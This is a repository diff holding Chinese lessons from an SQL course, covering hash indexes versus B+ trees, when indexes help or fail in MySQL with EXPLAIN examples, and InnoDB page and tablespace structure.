|
||||
|
||||
运行结果:
|
||||
|
||||
检索时间为1.2436728477478027秒
|
||||
|
||||
实验2:采用Hash表的形式存储数据,即在Python中采用字典方式添加10000个元素,然后检索这10000个数据,最后再统计一下时间。代码如下:
|
||||
|
||||
```
|
||||
import time
|
||||
# 插入数据
|
||||
result = {}
|
||||
for i in range(1000000):
|
||||
result[i] = i
|
||||
# 检索数据
|
||||
time_start=time.time()
|
||||
for i in range(10000):
|
||||
temp = result[i]
|
||||
time_end=time.time()
|
||||
print('检索时间:',time_end-time_start)
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
检索时间为0.0019941329956054688秒。
|
||||
|
||||
你能看到Hash方式检索差不多用了2毫秒的时间,检索效率提升得非常明显。这是因为Hash只需要一步就可以找到对应的取值,算法复杂度为O(1),而数组检索数据的算法复杂度为O(n)。
|
||||
|
||||
## MySQL中的Hash索引
|
||||
|
||||
采用Hash进行检索效率非常高,基本上一次检索就可以找到数据,而B+树需要自顶向下依次查找,多次访问节点才能找到数据,中间需要多次I/O操作,从效率来说Hash比B+树更快。
|
||||
|
||||
我们来看下Hash索引的示意图:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d8/b6/d8ef0bc1ea85b9e5408fcf0126b2a2b6.png" alt=""><br>
|
||||
键值key通过Hash映射找到桶bucket。在这里桶(bucket)指的是一个能存储一条或多条记录的存储单位。一个桶的结构包含了一个内存指针数组,桶中的每行数据都会指向下一行,形成链表结构,当遇到Hash冲突时,会在桶中进行键值的查找。
|
||||
|
||||
那么什么是Hash冲突呢?
|
||||
|
||||
如果桶的空间小于输入的空间,不同的输入可能会映射到同一个桶中,这时就会产生Hash冲突,如果Hash冲突的量很大,就会影响读取的性能。
|
||||
|
||||
通常Hash值的字节数比较少,简单的4个字节就够了。在Hash值相同的情况下,就会进一步比较桶(Bucket)中的键值,从而找到最终的数据行。
|
||||
|
||||
Hash值的字节数多的话可以是16位、32位等,比如采用MD5函数就可以得到一个16位或者32位的数值,32位的MD5已经足够安全,重复率非常低。
|
||||
|
||||
我们模拟一下Hash索引。关键字如下所示,每个字母的内部编码为字母的序号,比如A为01,Y为25。我们统计内部编码平方的第8-11位(从前向后)作为Hash值:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/6b/3d/6bff085844127931e59e6faa368e223d.png" alt="">
|
||||
|
||||
## Hash索引与B+树索引的区别
|
||||
|
||||
我们之前讲到过B+树索引的结构,Hash索引结构和B+树的不同,因此在索引使用上也会有差别。
|
||||
|
||||
1. Hash索引不能进行范围查询,而B+树可以。这是因为Hash索引指向的数据是无序的,而B+树的叶子节点是个有序的链表。
|
||||
1. Hash索引不支持联合索引的最左侧原则(即联合索引的部分索引无法使用),而B+树可以。对于联合索引来说,Hash索引在计算 Hash 值的时候是将索引键合并后再一起计算 Hash 值,所以不会针对每个索引单独计算Hash值。因此如果用到联合索引的一个或者几个索引时,联合索引无法被利用。
|
||||
1. Hash索引不支持ORDER BY排序,因为Hash索引指向的数据是无序的,因此无法起到排序优化的作用,而B+树索引数据是有序的,可以起到对该字段ORDER BY排序优化的作用。同理,我们也无法用Hash索引进行模糊查询,而B+树使用LIKE进行模糊查询的时候,LIKE后面前模糊查询(比如%开头)的话就可以起到优化作用。
|
||||
|
||||
对于等值查询来说,通常Hash索引的效率更高,不过也存在一种情况,就是索引列的重复值如果很多,效率就会降低。这是因为遇到Hash冲突时,需要遍历桶中的行指针来进行比较,找到查询的关键字,非常耗时。所以,Hash索引通常不会用到重复值多的列上,比如列为性别、年龄的情况等。
|
||||
|
||||
## 总结
|
||||
|
||||
我今天讲了Hash索引的底层原理,你能看到Hash索引存在着很多限制,相比之下在数据库中B+树索引的使用面会更广,不过也有一些场景采用Hash索引效率更高,比如在键值型(Key-Value)数据库中,Redis存储的核心就是Hash表。
|
||||
|
||||
另外MySQL中的Memory存储引擎支持Hash存储,如果我们需要用到查询的临时表时,就可以选择Memory存储引擎,把某个字段设置为Hash索引,比如字符串类型的字段,进行Hash计算之后长度可以缩短到几个字节。当字段的重复度低,而且经常需要进行等值查询的时候,采用Hash索引是个不错的选择。
|
||||
|
||||
另外MySQL的InnoDB存储引擎还有个“自适应Hash索引”的功能,就是当某个索引值使用非常频繁的时候,它会在B+树索引的基础上再创建一个Hash索引,这样让B+树也具备了Hash索引的优点。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/88/90/8893fcfee2c8c374e9c7ae7e66f2cf90.jpg" alt=""><br>
|
||||
今天的内容到这里就结束了,我留两道思考题吧。查找某个固定值时Hash索引比B+树更快,为什么MySQL还要采用B+树的存储索引呢?另外,当两个关键字的Hash值相同时会发生什么?
|
||||
|
||||
欢迎你在评论区写下你的思考,我会和你一起交流,也欢迎把这篇文章分享给你的朋友或者同事,一起交流一下。
|
||||
@@ -0,0 +1,342 @@
|
||||
<audio id="audio" title="26丨索引的使用原则:如何通过索引让SQL查询效率最大化?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/76/09/76d7fd6cfa00f429f1f30313b193de09.mp3"></audio>
|
||||
|
||||
我之前讲了索引的使用和它的底层原理,今天我来讲一讲索引的使用原则。既然我们的目标是提升SQL的查询效率,那么该如何通过索引让效率最大化呢?
|
||||
|
||||
今天的课程主要包括下面几个部分:
|
||||
|
||||
1. 什么情况下使用索引?当我们进行数据表查询的时候,都有哪些特征需要我们创建索引?
|
||||
1. 索引不是万能的,索引设计的不合理可能会阻碍数据库和业务处理的性能。那么什么情况下不需要创建索引?
|
||||
1. 创建了索引不一定代表一定用得上,甚至在有些情况下索引会失效。哪些情况下,索引会失效呢?又该如何避免这一情况?
|
||||
|
||||
## 创建索引有哪些规律?
|
||||
|
||||
创建索引有一定的规律。当这些规律出现的时候,我们就可以通过创建索引提升查询效率,下面我们来看看什么情况下可以创建索引:
|
||||
|
||||
**1.字段的数值有唯一性的限制,比如用户名**
|
||||
|
||||
索引本身可以起到约束的作用,比如唯一索引、主键索引都是可以起到唯一性约束的,因此在我们的数据表中,如果某个字段是唯一性的,就可以直接创建唯一性索引,或者主键索引。
|
||||
|
||||
**2.频繁作为WHERE查询条件的字段,尤其在数据表大的情况下**
|
||||
|
||||
在数据量大的情况下,某个字段在SQL查询的WHERE条件中经常被使用到,那么就需要给这个字段创建索引了。创建普通索引就可以大幅提升数据查询的效率。
|
||||
|
||||
我之前列举了product_comment数据表,这张数据表中一共有100万条数据,假设我们想要查询user_id=785110的用户对商品的评论。
|
||||
|
||||
如果我们没有对user_id字段创建索引,进行如下查询:
|
||||
|
||||
```
|
||||
SELECT comment_id, product_id, comment_text, comment_time, user_id FROM product_comment WHERE user_id = 785110
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/3b/25/3b79db6d310ade55958199cc60f16525.png" alt=""><br>
|
||||
运行时间为0.699s,你能看到查询效率还是比较低的。当我们对user_id字段创建索引之后,运行时间为0.047s,不到原来查询时间的1/10,效率提升还是明显的。
|
||||
|
||||
**3.需要经常GROUP BY和ORDER BY的列**
|
||||
|
||||
索引就是让数据按照某种顺序进行存储或检索,因此当我们使用GROUP BY对数据进行分组查询,或者使用ORDER BY对数据进行排序的时候,就需要对分组或者排序的字段进行索引。
|
||||
|
||||
比如我们按照user_id对商品评论数据进行分组,显示不同的user_id和商品评论的数量,显示100个即可。
|
||||
|
||||
如果我们不对user_id创建索引,执行下面的SQL语句:
|
||||
|
||||
```
|
||||
SELECT user_id, count(*) as num FROM product_comment group by user_id limit 100
|
||||
|
||||
```
|
||||
|
||||
运行结果(100条记录,运行时间1.666s):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/19/31/196f6848455aff7fe8b2a60b1fc81731.png" alt=""><br>
|
||||
如果我们对user_id创建索引,再执行SQL语句:
|
||||
|
||||
```
|
||||
SELECT user_id, count(*) as num FROM product_comment group by user_id limit 100
|
||||
|
||||
```
|
||||
|
||||
运行结果(100条记录,运行时间0.042s):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/61/73/616c6c2dec1e700f80815e9bf34c5a73.png" alt=""><br>
|
||||
你能看到当对user_id创建索引后,得到的结果中user_id字段的数值也是按照顺序展示的,运行时间却不到原来时间的1/40,效率提升很明显。
|
||||
|
||||
同样,如果是ORDER BY,也需要对字段创建索引。我们再来看下同时有GROUP BY和ORDER BY的情况。比如我们按照user_id进行评论分组,同时按照评论时间降序的方式进行排序,这时我们就需要同时进行GROUP BY和ORDER BY,那么是不是需要单独创建user_id的索引和comment_time的索引呢?
|
||||
|
||||
当我们对user_id和comment_time分别创建索引,执行下面的SQL查询:
|
||||
|
||||
```
|
||||
SELECT user_id, count(*) as num FROM product_comment group by user_id order by comment_time desc limit 100
|
||||
|
||||
```
|
||||
|
||||
运行结果(运行时间>100s):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/2e/f4/2ee78c19372613d84c4b10cf27037ef4.png" alt=""><br>
|
||||
实际上多个单列索引在多条件查询时只会生效一个索引(MySQL会选择其中一个限制最严格的作为索引),所以在多条件联合查询的时候最好创建联合索引。在这个例子中,我们创建联合索引(user_id, comment_time),再来看下查询的时间,查询时间为0.775s,效率提升了很多。如果我们创建联合索引的顺序为(comment_time, user_id)呢?运行时间为1.990s,同样比两个单列索引要快,但是会比顺序为(user_id, comment_time)的索引要慢一些。这是因为在进行SELECT查询的时候,先进行GROUP BY,再对数据进行ORDER BY的操作,所以按照这个联合索引的顺序效率是最高的。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/bd/5a/bd960478632418c1e99fc0915398425a.png" alt=""><br>
|
||||
**4.UPDATE、DELETE的WHERE条件列,一般也需要创建索引**
|
||||
|
||||
我们刚才说的是数据检索的情况。那么当我们对某条数据进行UPDATE或者DELETE操作的时候,是否也需要对WHERE的条件列创建索引呢?
|
||||
|
||||
我们先看一下对数据进行UPDATE的情况。
|
||||
|
||||
如果我们想要把comment_text为462eed7ac6e791292a79对应的product_id修改为10002,当我们没有对comment_text进行索引的时候,执行SQL语句:
|
||||
|
||||
```
|
||||
UPDATE product_comment SET product_id = 10002 WHERE comment_text = '462eed7ac6e791292a79'
|
||||
|
||||
```
|
||||
|
||||
运行结果为Affected rows: 1,运行时间为1.173s。
|
||||
|
||||
你能看到效率不高,但如果我们对comment_text字段创建了索引,然后再把刚才那条记录更新回product_id=10001,执行SQL语句:
|
||||
|
||||
```
|
||||
UPDATE product_comment SET product_id = 10001 WHERE comment_text = '462eed7ac6e791292a79'
|
||||
|
||||
```
|
||||
|
||||
运行结果为Affected rows: 1,运行时间仅为0.1110s。你能看到这个运行时间是之前的1/10,效率有了大幅的提升。
|
||||
|
||||
如果我们对某条数据进行DELETE,效率如何呢?
|
||||
|
||||
比如我们想删除comment_text为462eed7ac6e791292a79的数据。当我们没有对comment_text字段进行索引的时候,执行SQL语句:
|
||||
|
||||
```
|
||||
DELETE FROM product_comment WHERE comment_text = '462eed7ac6e791292a79'
|
||||
|
||||
```
|
||||
|
||||
运行结果为Affected rows: 1,运行时间为1.027s,效率不高。
|
||||
|
||||
如果我们对comment_text创建了索引,再来执行这条SQL语句,运行时间为0.032s,时间是原来的1/32,效率有了大幅的提升。
|
||||
|
||||
你能看到,对数据按照某个条件进行查询后再进行UPDATE或DELETE的操作,如果对WHERE字段创建了索引,就能大幅提升效率。原理是因为我们需要先根据WHERE条件列检索出来这条记录,然后再对它进行更新或删除。如果进行更新的时候,更新的字段是非索引字段,提升的效率会更明显,这是因为非索引字段更新不需要对索引进行维护。
|
||||
|
||||
不过在实际工作中,我们也需要注意平衡,如果索引太多了,在更新数据的时候,如果涉及到索引更新,就会造成负担。
|
||||
|
||||
**5.DISTINCT字段需要创建索引**
|
||||
|
||||
有时候我们需要对某个字段进行去重,使用DISTINCT,那么对这个字段创建索引,也会提升查询效率。
|
||||
|
||||
比如我们想要查询商品评论表中不同的user_id都有哪些,如果我们没有对user_id创建索引,执行SQL语句,看看情况是怎样的。
|
||||
|
||||
```
|
||||
SELECT DISTINCT(user_id) FROM `product_comment`
|
||||
|
||||
```
|
||||
|
||||
运行结果(600637条记录,运行时间2.283s):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/38/d2/38f7685bc8befad4bb6e5c8d5c6f7ed2.png" alt=""><br>
|
||||
如果我们对user_id创建索引,再执行SQL语句,看看情况又是怎样的。
|
||||
|
||||
```
|
||||
SELECT DISTINCT(user_id) FROM `product_comment`
|
||||
|
||||
```
|
||||
|
||||
运行结果(600637条记录,运行时间0.627s):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/c2/5e/c2b42b9308735a141848c176294d0d5e.png" alt=""><br>
|
||||
你能看到SQL查询效率有了提升,同时显示出来的user_id还是按照递增的顺序进行展示的。这是因为索引会对数据按照某种顺序进行排序,所以在去重的时候也会快很多。
|
||||
|
||||
**6.做多表JOIN连接操作时,创建索引需要注意以下的原则**
|
||||
|
||||
首先,连接表的数量尽量不要超过3张,因为每增加一张表就相当于增加了一次嵌套的循环,数量级增长会非常快,严重影响查询的效率。
|
||||
|
||||
其次,对WHERE条件创建索引,因为WHERE才是对数据条件的过滤。如果在数据量非常大的情况下,没有WHERE条件过滤是非常可怕的。
|
||||
|
||||
最后,对用于连接的字段创建索引,并且该字段在多张表中的类型必须一致。比如user_id在product_comment表和user表中都为int(11)类型,而不能一个为int另一个为varchar类型。
|
||||
|
||||
举个例子,如果我们只对user_id创建索引,执行SQL语句:
|
||||
|
||||
```
|
||||
SELECT comment_id, comment_text, product_comment.user_id, user_name FROM product_comment JOIN user ON product_comment.user_id = user.user_id
|
||||
WHERE comment_text = '462eed7ac6e791292a79'
|
||||
|
||||
```
|
||||
|
||||
运行结果(1条数据,运行时间0.810s):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d8/13/d8d0804d09f264db7846209498ddb813.png" alt=""><br>
|
||||
这里我们对comment_text创建索引,再执行上面的SQL语句,运行时间为0.046s。
|
||||
|
||||
如果我们不使用WHERE条件查询,而是直接采用JOIN…ON…进行连接的话,即使使用了各种优化手段,总的运行时间也会很长(>100s)。
|
||||
|
||||
## 什么时候不需要创建索引
|
||||
|
||||
我之前讲到过索引不是万能的,有一些情况是不需要创建索引的,这里再进行一下说明。
|
||||
|
||||
WHERE条件(包括GROUP BY、ORDER BY)里用不到的字段不需要创建索引,索引的价值是快速定位,如果起不到定位的字段通常是不需要创建索引的。举个例子:
|
||||
|
||||
```
|
||||
SELECT comment_id, product_id, comment_time FROM product_comment WHERE user_id = 41251
|
||||
|
||||
```
|
||||
|
||||
因为我们是按照user_id来进行检索的,所以不需要对其他字段创建索引,即使这些字段出现在SELECT字段中。
|
||||
|
||||
第二种情况是,如果表记录太少,比如少于1000个,那么是不需要创建索引的。我之前讲过一个SQL查询的例子(第23篇中的heros数据表查询的例子,一共69个英雄不用索引也很快),表记录太少,是否创建索引对查询效率的影响并不大。
|
||||
|
||||
第三种情况是,字段中如果有大量重复数据,也不用创建索引,比如性别字段。不过我们也需要根据实际情况来做判断,这一点我在之前的文章里已经进行了说明,这里不再赘述。
|
||||
|
||||
最后一种情况是,频繁更新的字段不一定要创建索引。因为更新数据的时候,也需要更新索引,如果索引太多,在更新索引的时候也会造成负担,从而影响效率。
|
||||
|
||||
## 什么情况下索引失效
|
||||
|
||||
我们创建了索引,还要避免索引失效,你可以先思考下都有哪些情况会造成索引失效呢?下面是一些常见的索引失效的例子:
|
||||
|
||||
**1.如果索引进行了表达式计算,则会失效**
|
||||
|
||||
我们可以使用EXPLAIN关键字来查看MySQL中一条SQL语句的执行计划,比如:
|
||||
|
||||
```
|
||||
EXPLAIN SELECT comment_id, user_id, comment_text FROM product_comment WHERE comment_id+1 = 900001
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
```
|
||||
+----+-------------+-----------------+------------+------+---------------+------+---------+------+--------+----------+-------------+
|
||||
| id | select_type | table | partitions | type | possible_keys | key | key_len | ref | rows | filtered | Extra |
|
||||
+----+-------------+-----------------+------------+------+---------------+------+---------+------+--------+----------+-------------+
|
||||
| 1 | SIMPLE | product_comment | NULL | ALL | NULL | NULL | NULL | NULL | 996663 | 100.00 | Using where |
|
||||
+----+-------------+-----------------+------------+------+---------------+------+---------+------+--------+----------+-------------+
|
||||
|
||||
```
|
||||
|
||||
你能看到如果对索引进行了表达式计算,索引就失效了。这是因为我们需要把索引字段的取值都取出来,然后依次进行表达式的计算来进行条件判断,因此采用的就是全表扫描的方式,运行时间也会慢很多,最终运行时间为2.538秒。
|
||||
|
||||
为了避免索引失效,我们对SQL进行重写:
|
||||
|
||||
```
|
||||
SELECT comment_id, user_id, comment_text FROM product_comment WHERE comment_id = 900000
|
||||
|
||||
```
|
||||
|
||||
运行时间为0.039秒。
|
||||
|
||||
**2.如果对索引使用函数,也会造成失效**
|
||||
|
||||
比如我们想要对comment_text的前三位为abc的内容进行条件筛选,这里我们来查看下执行计划:
|
||||
|
||||
```
|
||||
EXPLAIN SELECT comment_id, user_id, comment_text FROM product_comment WHERE SUBSTRING(comment_text, 1,3)='abc'
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
```
|
||||
+----+-------------+-----------------+------------+------+---------------+------+---------+------+--------+----------+-------------+
|
||||
| id | select_type | table | partitions | type | possible_keys | key | key_len | ref | rows | filtered | Extra |
|
||||
+----+-------------+-----------------+------------+------+---------------+------+---------+------+--------+----------+-------------+
|
||||
| 1 | SIMPLE | product_comment | NULL | ALL | NULL | NULL | NULL | NULL | 996663 | 100.00 | Using where |
|
||||
+----+-------------+-----------------+------------+------+---------------+------+---------+------+--------+----------+-------------+
|
||||
|
||||
```
|
||||
|
||||
你能看到对索引字段进行函数操作,造成了索引失效,这时可以进行查询重写:
|
||||
|
||||
```
|
||||
SELECT comment_id, user_id, comment_text FROM product_comment WHERE comment_text LIKE 'abc%'
|
||||
|
||||
```
|
||||
|
||||
使用EXPLAIN对查询语句进行分析:
|
||||
|
||||
```
|
||||
+----+-------------+-----------------+------------+-------+---------------+--------------+---------+------+------+----------+-----------------------+
|
||||
| id | select_type | table | partitions | type | possible_keys | key | key_len | ref | rows | filtered | Extra |
|
||||
+----+-------------+-----------------+------------+-------+---------------+--------------+---------+------+------+----------+-----------------------+
|
||||
| 1 | SIMPLE | product_comment | NULL | range | comment_text | comment_text | 767 | NULL | 213 | 100.00 | Using index condition |
|
||||
+----+-------------+-----------------+------------+-------+---------------+--------------+---------+------+------+----------+-----------------------+
|
||||
|
||||
```
|
||||
|
||||
你能看到经过查询重写后,可以使用索引进行范围检索,从而提升查询效率。
|
||||
|
||||
**3.在WHERE子句中,如果在OR前的条件列进行了索引,而在OR后的条件列没有进行索引,那么索引会失效。**
|
||||
|
||||
比如下面的SQL语句,comment_id是主键,而comment_text没有进行索引,因为OR的含义就是两个只要满足一个即可,因此只有一个条件列进行了索引是没有意义的,只要有条件列没有进行索引,就会进行全表扫描,因此索引的条件列也会失效:
|
||||
|
||||
```
|
||||
EXPLAIN SELECT comment_id, user_id, comment_text FROM product_comment WHERE comment_id = 900001 OR comment_text = '462eed7ac6e791292a79'
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
```
|
||||
+----+-------------+-----------------+------------+------+---------------+------+---------+------+--------+----------+-------------+
|
||||
| id | select_type | table | partitions | type | possible_keys | key | key_len | ref | rows | filtered | Extra |
|
||||
+----+-------------+-----------------+------------+------+---------------+------+---------+------+--------+----------+-------------+
|
||||
| 1 | SIMPLE | product_comment | NULL | ALL | PRIMARY | NULL | NULL | NULL | 996663 | 10.00 | Using where |
|
||||
+----+-------------+-----------------+------------+------+---------------+------+---------+------+--------+----------+-------------+
|
||||
|
||||
```
|
||||
|
||||
如果我们把comment_text创建了索引会是怎样的呢?
|
||||
|
||||
```
|
||||
+----+-------------+-----------------+------------+-------------+----------------------+----------------------+---------+------+------+----------+------------------------------------------------+
|
||||
| id | select_type | table | partitions | type | possible_keys | key | key_len | ref | rows | filtered | Extra |
|
||||
+----+-------------+-----------------+------------+-------------+----------------------+----------------------+---------+------+------+----------+------------------------------------------------+
|
||||
| 1 | SIMPLE | product_comment | NULL | index_merge | PRIMARY,comment_text | PRIMARY,comment_text | 4,767 | NULL | 2 | 100.00 | Using union(PRIMARY,comment_text); Using where |
|
||||
+----+-------------+-----------------+------------+-------------+----------------------+----------------------+---------+------+------+----------+------------------------------------------------+
|
||||
|
||||
```
|
||||
|
||||
你能看到这里使用到了index merge,简单来说index merge就是对comment_id和comment_text分别进行了扫描,然后将这两个结果集进行了合并。这样做的好处就是避免了全表扫描。
|
||||
|
||||
**4.当我们使用LIKE进行模糊查询的时候,前面不能是%**
|
||||
|
||||
```
|
||||
EXPLAIN SELECT comment_id, user_id, comment_text FROM product_comment WHERE comment_text LIKE '%abc'
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
```
|
||||
+----+-------------+-----------------+------------+------+---------------+------+---------+------+--------+----------+-------------+
|
||||
| id | select_type | table | partitions | type | possible_keys | key | key_len | ref | rows | filtered | Extra |
|
||||
+----+-------------+-----------------+------------+------+---------------+------+---------+------+--------+----------+-------------+
|
||||
| 1 | SIMPLE | product_comment | NULL | ALL | NULL | NULL | NULL | NULL | 996663 | 11.11 | Using where |
|
||||
+----+-------------+-----------------+------------+------+---------------+------+---------+------+--------+----------+-------------+
|
||||
|
||||
```
|
||||
|
||||
这个很好理解,如果一本字典按照字母顺序进行排序,我们会从首位开始进行匹配,而不会对中间位置进行匹配,否则索引就失效了。
|
||||
|
||||
**5.索引列尽量设置为NOT NULL约束。**
|
||||
|
||||
[MySQL官方文档](https://dev.mysql.com/doc/refman/5.5/en/data-size.html)建议我们尽量将数据表的字段设置为NOT NULL约束,这样做的好处是可以更好地使用索引,节省空间,甚至加速SQL的运行。<br>
|
||||
判断索引列是否为NOT NULL,往往需要走全表扫描,因此我们最好在设计数据表的时候就将字段设置为NOT NULL约束比如你可以将INT类型的字段,默认值设置为0。将字符类型的默认值设置为空字符串(`''`)。
|
||||
|
||||
**6.我们在使用联合索引的时候要注意最左原则**
|
||||
|
||||
最左原则也就是需要从左到右的使用索引中的字段,一条SQL语句可以只使用联合索引的一部分,但是需要从最左侧开始,否则就会失效。我在讲联合索引的时候举过索引失效的例子。
|
||||
|
||||
## 总结
|
||||
|
||||
今天我们对索引的使用原则进行了梳理,使用好索引可以提升SQL查询的效率,但同时 也要注意索引不是万能的。为了避免全表扫描,我们还需要注意有哪些情况可能会导致索引失效,这时就需要进行查询重写,让索引发挥作用。
|
||||
|
||||
实际工作中,查询的需求多种多样,创建的索引也会越来越多。这时还需要注意,我们要尽可能扩展索引,而不是新建索引,因为索引数量过多需要维护的成本也会变大,导致写效率变低。同时,我们还需要定期查询使用率低的索引,对于从未使用过的索引可以进行删除,这样才能让索引在SQL查询中发挥最大价值。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/81/f4/81147e99e2533126533500a087086ef4.jpg" alt=""><br>
|
||||
针对product_comment数据表,其中comment_time已经创建了普通索引。假设我想查询评论时间在2018年10月1日上午10点到2018年10月2日上午10点之间的评论,SQL语句为:
|
||||
|
||||
```
|
||||
SELECT comment_id, comment_text, comment_time FROM product_comment WHERE DATE(comment_time) >= '2018-10-01 10:00:00' AND comment_time <= '2018-10-02 10:00:00'
|
||||
|
||||
```
|
||||
|
||||
你可以想一下这时候索引是否会失效,为什么?如果失效的话,要进行查询重写,应该怎样写?
|
||||
|
||||
欢迎你在评论区写下你的答案,也欢迎把这篇文章分享给你的朋友或者同事,一起来交流。
|
||||
126
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/27丨从数据页的角度理解B+树查询.md
Normal file
126
极客时间专栏/geek/SQL必知必会/第二章:SQL性能优化篇/27丨从数据页的角度理解B+树查询.md
Normal file
@@ -0,0 +1,126 @@
|
||||
<audio id="audio" title="27丨从数据页的角度理解B+树查询" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/72/92/72959d1159c0805ae1fd365f0a35b392.mp3"></audio>
|
||||
|
||||
我们之前已经了解了B+树和Hash索引的原理,这些索引结构给我们提供了高效的索引方式,不过这些索引信息以及数据记录都是保存在文件上的,确切说是存储在页结构中。
|
||||
|
||||
对数据库的存储结构以及页结构的底层进行了解,可以加深我们对索引运行机制的认识,从而你对索引的存储、查询原理,以及对SQL查询效率有更深的理解。
|
||||
|
||||
今天的课程主要包括下面几个部分:
|
||||
|
||||
1. 数据库中的存储结构是怎样的?页、区、段和表空间分别指的是什么?
|
||||
1. 为什么页(Page)是数据库存储空间的基本单位?
|
||||
1. 从数据页的角度来看,B+树是如何进行查询的?
|
||||
|
||||
## 数据库中的存储结构是怎样的
|
||||
|
||||
记录是按照行来存储的,但是数据库的读取并不以行为单位,否则一次读取(也就是一次I/O操作)只能处理一行数据,效率会非常低。因此**在数据库中,不论读一行,还是读多行,都是将这些行所在的页进行加载。也就是说,数据库管理存储空间的基本单位是页(Page)。**
|
||||
|
||||
一个页中可以存储多个行记录(Row),同时在数据库中,还存在着区(Extent)、段(Segment)和表空间(Tablespace)。行、页、区、段、表空间的关系如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/11/b7/112d7669450e3968e63e9de524ab13b7.jpg" alt=""><br>
|
||||
从图中你能看到一个表空间包括了一个或多个段,一个段包括了一个或多个区,一个区包括了多个页,而一个页中可以有多行记录,这些概念我简单给你讲解下。
|
||||
|
||||
区(Extent)是比页大一级的存储结构,在InnoDB存储引擎中,一个区会分配64个连续的页。因为InnoDB中的页大小默认是16KB,所以一个区的大小是64*16KB=1MB。
|
||||
|
||||
段(Segment)由一个或多个区组成,区在文件系统是一个连续分配的空间(在InnoDB中是连续的64个页),不过在段中不要求区与区之间是相邻的。段是数据库中的分配单位,不同类型的数据库对象以不同的段形式存在。当我们创建数据表、索引的时候,就会相应创建对应的段,比如创建一张表时会创建一个表段,创建一个索引时会创建一个索引段。
|
||||
|
||||
表空间(Tablespace)是一个逻辑容器,表空间存储的对象是段,在一个表空间中可以有一个或多个段,但是一个段只能属于一个表空间。数据库由一个或多个表空间组成,表空间从管理上可以划分为系统表空间、用户表空间、撤销表空间、临时表空间等。
|
||||
|
||||
在InnoDB中存在两种表空间的类型:共享表空间和独立表空间。如果是共享表空间就意味着多张表共用一个表空间。如果是独立表空间,就意味着每张表有一个独立的表空间,也就是数据和索引信息都会保存在自己的表空间中。独立的表空间可以在不同的数据库之间进行迁移。
|
||||
|
||||
你可以通过下面的命令来查看InnoDB的表空间类型:
|
||||
|
||||
```
|
||||
mysql > show variables like 'innodb_file_per_table';
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b3/2f/b3b3d8f54a10dfb17005df9bd275502f.png" alt=""><br>
|
||||
你能看到innodb_file_per_table=ON,这就意味着每张表都会单独保存为一个.ibd文件。
|
||||
|
||||
## 数据页内的结构是怎样的
|
||||
|
||||
页(Page)如果按类型划分的话,常见的有数据页(保存B+树节点)、系统页、Undo页和事务数据页等。数据页是我们最常使用的页。
|
||||
|
||||
表页的大小限定了表行的最大长度,不同DBMS的表页大小不同。比如在MySQL的InnoDB存储引擎中,默认页的大小是16KB,我们可以通过下面的命令来进行查看:
|
||||
|
||||
```
|
||||
mysql> show variables like '%innodb_page_size%';
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/2e/16/2e5a0928bdc9ca3d18421f9db1eda416.png" alt=""><br>
|
||||
在SQL Server的页大小为8KB,而在Oracle中我们用术语“块”(Block)来代表“页”,Oralce支持的块大小为2KB,4KB,8KB,16KB,32KB和64KB。
|
||||
|
||||
数据库I/O操作的最小单位是页,与数据库相关的内容都会存储在页结构里。数据页包括七个部分,分别是文件头(File Header)、页头(Page Header)、最大最小记录(Infimum+supremum)、用户记录(User Records)、空闲空间(Free Space)、页目录(Page Directory)和文件尾(File Tailer)。
|
||||
|
||||
页结构的示意图如下所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/94/53/9490bd9641f6a9be208a6d6b2d1b1353.jpg" alt=""><br>
|
||||
这7个部分到底有什么作用呢?我简单梳理下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/e9/9f/e9508936a6d79f4635ecf5d5fea4149f.png" alt="">
|
||||
|
||||
实际上,我们可以把这7个数据页分成3个部分。
|
||||
|
||||
首先是文件通用部分,也就是文件头和文件尾。它们类似集装箱,将页的内容进行封装,通过文件头和文件尾校验的方式来确保页的传输是完整的。
|
||||
|
||||
在文件头中有两个字段,分别是FIL_PAGE_PREV和FIL_PAGE_NEXT,它们的作用相当于指针,分别指向上一个数据页和下一个数据页。连接起来的页相当于一个双向的链表,如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/34/dd/3457fd927f1fc022cb062457bd823cdd.jpg" alt=""><br>
|
||||
需要说明的是采用链表的结构让数据页之间不需要是物理上的连续,而是逻辑上的连续。
|
||||
|
||||
我们之前讲到过Hash算法,这里文件尾的校验方式就是采用Hash算法进行校验。举个例子,当我们进行页传输的时候,如果突然断电了,造成了该页传输的不完整,这时通过文件尾的校验和(checksum值)与文件头的校验和做比对,如果两个值不相等则证明页的传输有问题,需要重新进行传输,否则认为页的传输已经完成。
|
||||
|
||||
第二个部分是记录部分,页的主要作用是存储记录,所以“最小和最大记录”和“用户记录”部分占了页结构的主要空间。另外空闲空间是个灵活的部分,当有新的记录插入时,会从空闲空间中进行分配用于存储新记录,如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/1a/22/1a9ce654a978aea20a51a7e357a2a322.jpg" alt=""><br>
|
||||
